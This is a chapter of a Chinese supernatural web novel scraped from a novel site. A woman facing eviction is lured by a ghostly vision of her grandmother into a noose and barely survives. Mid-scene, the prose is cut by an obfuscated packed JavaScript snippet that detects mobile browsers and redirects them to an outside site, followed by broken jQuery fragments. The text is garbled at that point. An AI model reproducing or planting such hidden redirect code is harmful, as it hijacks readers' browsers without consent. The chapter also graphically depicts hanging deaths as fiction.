默认冷灰
24号文字
方正启体

10. 010

作者:沾沾本书字数:K更新时间:
    从那天开始,幸芝便没再见过临平。


    也许回来过,屋子里少了几件换洗的秋衣,鞋柜里运动鞋也不见几双。


    拆迁办在社区陪同下挨家挨户走访,幸芝提前约定好时间,确保母亲和小姨都在家,在确定金额和补贴没有疑问后,母亲在合同上盖上自己的私章。


    小小一枚方章,红得异常灼人。


    幸芝开始找房子,她存款不多,能租到的只能是老民居不带厕所的民房。


    即便是这样,很多人仍不愿租给带小孩生活的单身女人。


    幸芝晚上打包行李,白天抱着小宝在东市穿街走巷,有时也会去茶餐厅歇歇脚。


    母亲在茶餐厅角落能晒到阳光的位置,开辟出一个两平米的区域,用围栏的爬行垫隔开,小宝有个短暂的活动空间。


    幸芝也就在茶餐厅里帮帮忙,起初茶客们看向她惊慌略带一丝丝压抑的神情慢慢淡了许多,只是时常嘀咕几句。


    真像啊!


    我以为是阿元呢。


    阿元要是在就好了。


    我的阿元啊。


    天黑之前,母亲便会让幸芝带小宝离开,顺道结算一日的薪水,虽然不多,幸芝也不推辞,抱着小宝换乘公交回家。


    屋子里始终黑漆漆的。也许是知道自己即将被拆迁,屋内开始布满灰尘,空气的霉味经久不散。像是一夜之间,这栋房子已经老得不能再住人。


    这一日,落雨。


    雾气弥漫,四处潮湿。


    茶餐厅的玻璃门上挂着厚厚的水滴,让人瞧不清内外。幸芝仍旧没找到合适的房子,母亲也仍旧没有开口询问,搬迁的日期临近,只有小姨急得像热锅里的蚂蚁。


    来松到店时,幸芝正准备抱小宝离开。她约了人看房子,这是她最后一个选项,否则明日真就要露宿街头了。


    来松从她怀里接过小宝说:“我昨天碰到姐夫了。”


    “嗯。”


    “他在酒吧门口拉客,我喝多了,顺道送我一段路。他住在车里,说你要跟他离婚。”


    “他倒是会挑地方。”


    “姐,你住我那儿吧。反正我今年也结不了婚。嘉瑶要跟我分手呢。我想好了,除了嘉瑶,旁人我都看不上。”


    “谢谢你啊。看今天这个房子,要是不行,真可能没地方去了。”


    “我开车送送你。”


    来松拎起妈妈包,跟里面打了声招呼,撑伞护着幸芝母子上了皮卡。


    身后的玻璃门上,母亲和小姨的脸在水雾中慢慢消失。


    幸芝找的房子是城中村,来松的车子开不进去,便将小宝留给来松照看,幸芝自己撑伞去找约好看房的大姐。


    大姐很热情,听说她自己带娃住,看着她叹气道:“妹子,不是姐狠心啊,我这也是,唉,这都是什么事啊,怪姐,姐没说清楚。这房子吧,有问题,你还是不要租了。”


    幸芝见她欲言又止,约莫猜出几分。


    天已经黑透,城中村里只有零星几盏灯火映照着雨夜。


    她们站在小院中,夜雨砸在屋檐下叮当作响。


    大姐的脸半数隐藏在黑伞之下,时隐时没叫人瞧不真切。她指着二楼一扇亮着灯的窗户道:“那间,前几日才死过人。妹子,你再找找别处吧。”


    “可我租楼下的。”


    因为是城中村,价格便宜,又有个能活动的院子,四周没有高墙遮挡,幸芝再找不到比眼下更合适的房子。


    何况,人也不是死在她租的那间屋子。


    哪里没死过人呢。


    “不一样的。妹子,不瞒你说,楼上那个死的很惨的,不怕吓着你,死的是个孕妇,挺着个大肚子,吊死在横梁上,发现时候小孩都从肚子里掉下来,脐带连着的太惨了。妹子,信姐一句,咱换个地方吧。”


    中介大姐也不知是不是自己害怕,说话时直发颤,抖得声音哆哆嗦嗦不成片。


    幸芝忽的抬头看了眼楼上门窗紧闭的屋子,昏黄的灯光下似有人影一闪而过,她落荒而逃。


    撑着雨伞,在没有路灯的巷道里狂奔,身后隐约有尖利的笑声狂追而来。


    夜里,幸芝发起高烧。


    整个人一会儿冷一会儿热,


    夜里一点,小宝哼唧着要喝夜奶,她挣扎着坐起身,头昏脑胀四肢无法舒展。


    屋子里静悄悄的,周围几栋该搬的也差不多搬空了,只有零星几户也是赶着一早搬离。


    走廊里时远时近有人说话声,幸芝见热水壶空了,哄睡小宝后便披着外衣进厨房。


    她又饿又渴。


    厨房也收拾得差不多,只剩半个凉透的馒头,等水开时掰碎在碗里,又翻出吃剩的半包咸菜。


    “啪嗒。”


    烧水壶水开断电。


    房门上的锁忽然拧了两下,幸芝探头张望,眼睛扫了时钟,1:12,这时间母亲和小姨应该是要回来的。


    “谁啊。”


    幸芝问了一声,门外静悄悄的,锁扣却转动得异常飞快。


    像是插错了钥匙,带动着锁扣乱转。


    “临平?”


    幸芝又喊了一声,忽的想起因为她总是弄丢钥匙,临平才将锁换成指纹,根本没有锁芯。


    幸芝再一回头,屋内的摆设一点点变幻模样。


    速度极慢,肉眼见着墙壁上石灰剥离,灰渍混合着潮湿的霉味呛得她忍不住弯腰咳嗽。


    小宝。


    幸芝丢下手中木筷,转身朝房间跑去。


    身子动了,脚下却分毫未移。双脚似踩在波涛汹涌的浪头上,深一脚浅一脚,房门朝后移动,小宝的哭声远在天边。


    幸芝无法呼吸,想着抓住什么好攀附住。什么抓在手里,什么变成灰渍。


    她在一片灰渍中,瞧见一根横梁,四方横梁雕龙画凤。


    横梁后是一副古画,画中央身着蓝色满绣汉服的女子缓缓朝她招手。


    只是一眼,幸芝便认出画中人。


    阿元。


    她的阿婆。


    画中人眉目清秀,右侧眼尾处有一枚红痣,微微翘起似含着笑意般遥遥望着她。


    “阿婆。”


    幸芝张开嘴,嗓子里犹如朽木拖地声音在耳边萦绕。


    画中人仍是眼含笑意,轻抬头,大褂袖口处如拇指般粗细的长绳滑落,轻飘飘落在梁上打了个死结。


    她朝幸芝招手。


    幸芝轻飘飘便落了过去,脑袋钻过绳结,四肢低垂。


    空气在她咽喉中缓缓流逝,耳鸣,火车般的鸣啸音从左耳至右耳咆哮而过


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871335|176217||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    幸芝艰难的抬动眼皮,画中人挥挥手,在灰渍和烟尘中翩然离去。


    周遭又变幻模样。


    地上散落的蛇皮袋和纸箱,堆满杂物的沙发和卸下框架的电视机幕墙……


    烧水壶正“突突”冒着热气,屋内静悄悄,烟尘也好,灰渍也罢,什么都没有。


    只有她自己,悬挂在横梁之上,脖子死死卡在绳结中。


    嘲笑声再度穿过耳膜。


    幸芝深吸一口气,求生的本能迫使她自己清醒。


    好在码放杂乱的纸箱救她一命,她抬脚向前勾住纸箱,坚实的踏上去,后背重重落在地上。


    绳索也好,横梁也罢,什么都没有。


    幸芝躺在一堆杂物中,浑身满是汗渍,墙上时钟狂奔而过。


    三点一刻。


    屋门被人从外推开,母亲和小姨提着布包前后进屋,瞧见她睡在地上,小姨连忙过来扶她道:“怎么不等我们一起收拾,呀,你这脖子……”


    镜子中,幸芝脖颈上的勒痕红得发黑,隐约有血丝渗出。


    小姨翻出碘酒小心上药。


    “这,怎么弄成这样?”


    母亲站在客厅中,打眼看了一圈,确定没有绳索之类的才开口:“房子找好没?”


    幸芝摇摇头。


    “来松说了,你跟孩子先住他那边去,天亮他就开车来接。”


    小姨将碗中的冷馒头倒掉,挽起衣袖准备煮面条。


    “临平确定不回来了?”


    母亲在餐桌旁坐下,低声道:“临平不是个坏孩子。”


    她目光扫过幸芝脖子上的痕迹,剩下的话终究没有说出口。


    幸芝吃了碗面条,洗了个热水澡,小姨说来松叫了货车过来,等一会儿到楼下。


    临平过来时,房子已经搬空一半,只剩一些杂物还有他的东西。


    他黑瘦了许多,胡子拉碴地开口道:“宿舍差不多了,要不今天就先搬过去,回头少了什么再慢慢添置。”


    话是对幸芝说的,人却是面对来松。


    来松看了眼幸芝,笑道:“都行,听我姐的。”


    幸芝抱着小宝,高领衫遮住脖子上的痕迹。小宝哼唧着张开双臂朝着临平的方向索要拥抱。


    幸芝看了眼母亲。


    母亲低着头,摆弄着布包里几件换洗衣服。


    “来松,搬去宿舍吧。”


    临平松了口气,母亲卸下双肩,只有来松一双眼睛落在幸芝的脸上,终究也是点点头。


    临平的单位宿舍藏在老城区,背靠着矮矮山,是早期的矿厂宿舍改造的,红砖墙青皮瓦,三层小楼,远远看去破败不堪。


    去的路上,临平同幸芝说,他与旁人调换了,换了个一楼带院子的,每个月多付两百元,这几天他找人装了遮阳棚,挡了一半留了一半,怕楼上有人丢东西下来,又不挡雨露可以在院子里种点东西。


    他还说,重新粉刷了墙壁,从旧货市场买了点柜子。


    “旁边有个游乐场,没事可以推小宝过去转转,等他大点儿,过马路就有幼托班。”


    幸芝没有回答。


    临平叫来几个同事,又结算了来松雇的人手,不大会儿功夫将大件归置差不多,剩下零星些杂物回头再收拾。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)